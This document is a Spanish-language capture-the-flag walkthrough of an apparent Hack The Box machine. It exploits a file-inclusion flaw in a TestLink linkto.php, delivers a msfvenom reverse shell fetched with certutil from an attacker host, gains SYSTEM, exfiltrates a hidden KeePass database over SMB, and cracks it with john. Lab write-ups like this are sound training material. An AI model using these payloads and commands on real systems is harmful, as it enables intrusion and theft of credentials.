-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER      12230 2018-04-14  08:07 custom_config.inc.php.example
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       1038 2018-04-14  08:07 custom_config.inc.php.example.github_oauth  
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:53 docs
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       1112 2018-04-14  08:07 error.php
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:52 extra
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       5546 2018-04-14  08:07 firstLogin.php
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:52 gui
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       3145 2018-04-14  08:07 index.php
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:53 lib
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER      18009 2018-04-14  08:07 LICENSE
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER      12857 2018-09-02  17:41 linkto.php
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       8056 2018-04-14  08:07 lnl.php
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:52 locale
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER      10853 2018-04-14  08:07 login.php
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       1223 2018-04-14  08:07 logout.php  
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  19:00 logs
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER        218 2018-07-08  14:10 note.txt 
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER       1206 2018-04-14  08:07 plugin.php  
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-09-02  15:53 plugins
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER      13020 2018-04-14  08:07 refactor.txt
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:52 third_party
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:52 upload_area
bvshell:/apps/testlink/htdocs$

Entre los archivos existentes hay un archivo note.txt donde pide a un usuario que se centre en su subdominio dev y deje en su code ya que este ha roto la aplicacion

bvshell:/apps/testlink/htdocs$ cat note.txt
BIGHEAD! You F%*#ing R*#@*d!

STAY IN YOUR OWN DEV SUB!!!...

You have literally broken the code testing app and tools I spent all night building for Richard!  

I don't want to see you in my code again!

Dinesh.
bvshell:/apps/testlink/htdocs$

Esto es de gran ayuda ya que deducimos que este es el codigo del subdominio code, si intentamos cargar un archivo como linkto.php este existe en el subdominio

Justo en el archivo linkto.php encontramos una vulnerabilidad y es que ejecuta la funcion require_once pasandole como argumento lo que recibe por POST a traves del parametro PiperCoinID por lo que podemos cargar un php malicioso

// alpha 0.0.1 implementation of our new pipercoin authentication tech
// full API not done yet. just submit tokens with requests for now.
if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID']; //plugins/ppiper/pipercoin.php  
        $PiperCoinSess = base64_decode($PiperCoinAuth);
        $PiperCoinAvitar = (string)$PiperCoinSess;}

// some session and settings stuff from original index.php
require_once('lib/functions/configCheck.php');
checkConfiguration();
require_once('config.inc.php');
require_once('common.php');
require_once('attachments.inc.php');
require_once('requirements.inc.php');
require_once('testcase.class.php');
require_once('testproject.class.php');
require_once('users.inc.php');
require_once($PiperCoinAuth);
testlinkInitPage($db, true);

Iniciamos por crear un archivo llamado shell.exe malicioso con msfvenom que nos envie una shell y otro shell.php que simplemente ejecute ese exe con cmd

❯ msfvenom -p windows/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1806 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

❯ cat shell.php
<?php
    system("cmd /c C:\ProgramData\shell.exe");
?>

Como no tenemos curl en el equipo podemos descargar ambos archivos en cualquier directorio que tenga permisos de escritura en el windows usando certutil

PS C:\ProgramData> certutil -f -urlcache -split http://10.10.14.10/shell.exe shell.exe  
PS C:\ProgramData> certutil -f -urlcache -split http://10.10.14.10/shell.php shell.php  
PS C:\ProgramData>

Solo nos queda hacer una petición a el linkto.php pasandole en el parametro PiperID cualquier cosa y en PiperCoinID la ruta del php malicioso que subimos

❯ curl http://code.bighead.htb/testlink/linkto.php -d "PiperID=1&PiperCoinID=C:\ProgramData\shell.php"  

Al hacerlo ejecutara el php que a su vez ejecutara el exe y este nos enviara una powershell como el usuario nt authority\system que tiene maximos privilegios

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.112
Windows PowerShell running as user PIEDPIPER$ on PIEDPIPER  
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\apps\testlink\htdocs> whoami
nt authority\system
PS C:\xampp\apps\testlink\htdocs>

En este punto podemos leer la flag user.txt en el escritorio del usuario nginx

PS C:\Users\nginx\Desktop> type user.txt  
5f1**************************bc3
PS C:\Users\nginx\Desktop>

Aunque de primeras no logramos ver el archivo root.txt ya que esta oculto usando el parametro -force nos lo muestra sin embargo este tampoco contiene la flag

PS C:\Users\Administrator\Desktop> dir -force

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        06/10/2018     15:38        697 chest.lnk
-a---        02/07/2018     12:56    3579384 hardentools.exe
-a---        05/07/2018     18:23        971 Immunity Debugger.lnk  
-arh-        06/10/2018     15:33       1519 root.txt

PS C:\Users\Administrator\Desktop> type root.txt  

                    * * *

              Gilfoyle's Prayer
     
___________________6666666___________________ 
____________66666__________66666_____________ 
_________6666___________________666__________ 
_______666__6____________________6_666_______ 
_____666_____66_______________666____66______ 
____66_______66666_________66666______666____ 
___66_________6___66_____66___66_______666___ 
__66__________66____6666_____66_________666__ 
_666___________66__666_66___66___________66__ 
_66____________6666_______6666___________666_ 
_66___________6666_________6666__________666_ 
_66________666_________________666_______666_ 
_66_____666______66_______66______666____666_ 
_666__666666666666666666666666666666666__66__ 
__66_______________6____66______________666__ 
___66______________66___66_____________666___ 
____66______________6__66_____________666____ 
_______666___________666___________666_______ 
_________6666_________6_________666__________ 
____________66666_____6____66666_____________ 
___________________6666666________________

   Prayer for The Praise of Satan's Kingdom

              Praise, Hail Satan!
   Glory be to Satan the Father of the Earth
       and to Lucifer our guiding light
    and to Belial who walks between worlds
     and to Lilith the queen of the night
    As it was in the void of the beginning
                   Is now, 
and ever shall be, Satan's kingdom without End

                so it is done.

                    * * *

PS C:\Users\Administrator\Desktop>

Antes en los registros habiamos visto uno relacionado a keepass, buscando encontramos que el usuario Administrator tiene un archivo de configuracion

PS C:\Users\Administrator\AppData\Roaming\KeePass> dir

    Directory: C:\Users\Administrator\AppData\Roaming\KeePass

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        06/10/2018     23:08       4700 KeePass.config.xml  

PS C:\Users\Administrator\AppData\Roaming\KeePass>

En este podemos ver que DatabasePath esta seteado al Zone.Identifier del root.txt y KeyFilePath esta seteado al archivo admin.png del directorio Pictures

<KeySources>
	<Association>
		<DatabasePath>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</DatabasePath>  
		<Password>true</Password>
		<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
	</Association>
</KeySources>

Para tranferirlos podemos montar un servidor smb y simplemente copiar los archivos

❯ impacket-smbserver user . -smb2support 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

PS C:\Users\Administrator\Desktop> cp root.txt \\10.10.14.10\user\root.txt  
PS C:\Users\Administrator\Desktop> cp ..\Pictures\admin.png \\10.10.14.10\user\admin.png  
PS C:\Users\Administrator\Desktop>

Sabemos que el Zone.Identifier es una db de keepass asi que lo renombramos

❯ file root.txt:Zone.Identifier
root.txt:Zone.Identifier: Keepass password database 2.x KDBX  

❯ mv root.txt:Zone.Identifier file.kdbx

Usando admin.png como key podemos crear un hash con keepass2john y crackearlo a traves de fuerza bruta con john para asi ver su contraseña

❯ keepass2john -k admin.png file.kdbx > hash

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
darkness         (file)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Finalmente podemos desbloquear el archivo kdbx usando como key el archivo admin.png y la contraseña que gracias a crackearla sabemos que es darkness

Al desbloquearlo podemos ver una credencial llamada root.txt que tiene la flag